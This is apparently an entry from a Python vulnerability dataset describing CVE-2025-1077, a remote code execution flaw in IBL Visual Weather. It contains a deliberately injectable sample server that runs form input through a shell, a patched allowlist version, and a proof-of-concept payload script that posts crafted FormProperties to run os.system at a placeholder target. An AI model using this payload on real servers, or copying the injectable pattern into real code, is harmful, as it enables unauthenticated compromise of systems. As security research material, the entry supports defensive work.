CVE-2025-1077
IBL Visual Weather vulnerable to remote code execution via crafted requests.
- CVSS 9.5
- CWE-20
- Configuration Issues
- Remote
A security vulnerability has been identified in the IBL Software Engineering Visual Weather and derived products (NAMIS, Aero Weather, Satellite Weather). The vulnerability is present in the Product Delivery Service (PDS) component in specific server configurations where the PDS pipeline utilizes the IPDS pipeline with Message Editor Output Filters enabled. A remote unauthenticated attacker can exploit this vulnerability to send unauthenticated requests to execute the IPDS pipeline with specially crafted Form Properties, enabling remote execution of arbitrary Python code. This vulnerability could lead to a full system compromise of the affected server, particularly if Visual Weather services are run under a privileged user account—contrary to the documented installation best practices. Upgrade to the patched versions 7.3.10 (or higher), 8.6.0 (or higher).
- CWE
- CWE-20
- CVSS base score
- 9.5
- Published
- 2025-02-07
- OWASP
- A03 Injection
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Configuration Issues
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Python
Solution
Upgrade to version 7.3.10 (or higher), or 8.6.0 (or higher).
Vulnerable code sample
import http.server
import socketserver
import cgi
import subprocess
import os
PORT = 8000
class MyHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
"""Vulnerable function that demonstrates the security issue."""
if self.path == '/process_request':
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={'REQUEST_METHOD':'POST',
'CONTENT_TYPE':self.headers['Content-Type'],
})
command_to_execute = form.getvalue("command")
if command_to_execute:
try:
result = subprocess.check_output(command_to_execute, shell=True, stderr=subprocess.STDOUT)
output = result.decode('utf-8')
except subprocess.CalledProcessError as e:
output = "Error: " + e.output.decode('utf-8')
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(bytes(f"Command executed:<br><pre>{command_to_execute}</pre><br>Output:<br><pre>{output}</pre>", "utf8"))
else:
self.send_response(400)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(bytes("No command provided.", "utf8"))
else:
super().do_POST()
Handler = MyHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()Patched code sample
import http.server
import socketserver
import urllib.parse
import subprocess
import os
PORT = 8000
ALLOWED_COMMANDS = {
"date": ["date"],
"uptime": ["uptime"],
"whoami": ["whoami"],
"hostname": ["hostname"]
}
class MyHandler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
"""Secure function that fixes the vulnerability."""
# SECURE: This version prevents command injection
if self.path == '/process_request':
content_length = int(self.headers.get('Content-Length', 0))
post_data = self.rfile.read(content_length).decode('utf-8')
parsed_data = urllib.parse.parse_qs(post_data)
command_key = parsed_data.get("command", [None])[0]
if command_key in ALLOWED_COMMANDS:
try:
result = subprocess.check_output(ALLOWED_COMMANDS[command_key], stderr=subprocess.STDOUT)
output = result.decode('utf-8')
except subprocess.CalledProcessError as e:
output = "Error: " + e.output.decode('utf-8')
else:
output = "Invalid command"
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(bytes(f"Command:<br><pre>{command_key}</pre><br>Output:<br><pre>{output}</pre>", "utf8"))
else:
super().do_POST()
Handler = MyHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()Payload
import requests
import json
target_url = "http://<target_ip>:<port>/PDS/IPDS_pipeline" # Replace with actual target URL
payload = {
"FormProperties": json.dumps({
"script_code": "import os; os.system('whoami > /tmp/output.txt')" # Example: Execute 'whoami' and save output
}),
"other_relevant_fields": "some_value" # Add other required form fields
}
try:
response = requests.post(target_url, data=payload)
response.raise_for_status() # Raise HTTPError for bad responses (4xx or 5xx)
print(f"Response status code: {response.status_code}")
print(f"Response content: {response.text}")
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
# Example of reading output (if the script created a file)
# try:
# with open('/tmp/output.txt', 'r') as f:
# print("Output from executed command:")
# print(f.read())
Cite this entry
@misc{vaitp:cve20251077,
title = {{IBL Visual Weather vulnerable to remote code execution via crafted requests.
}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2025},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-1077},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-1077/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
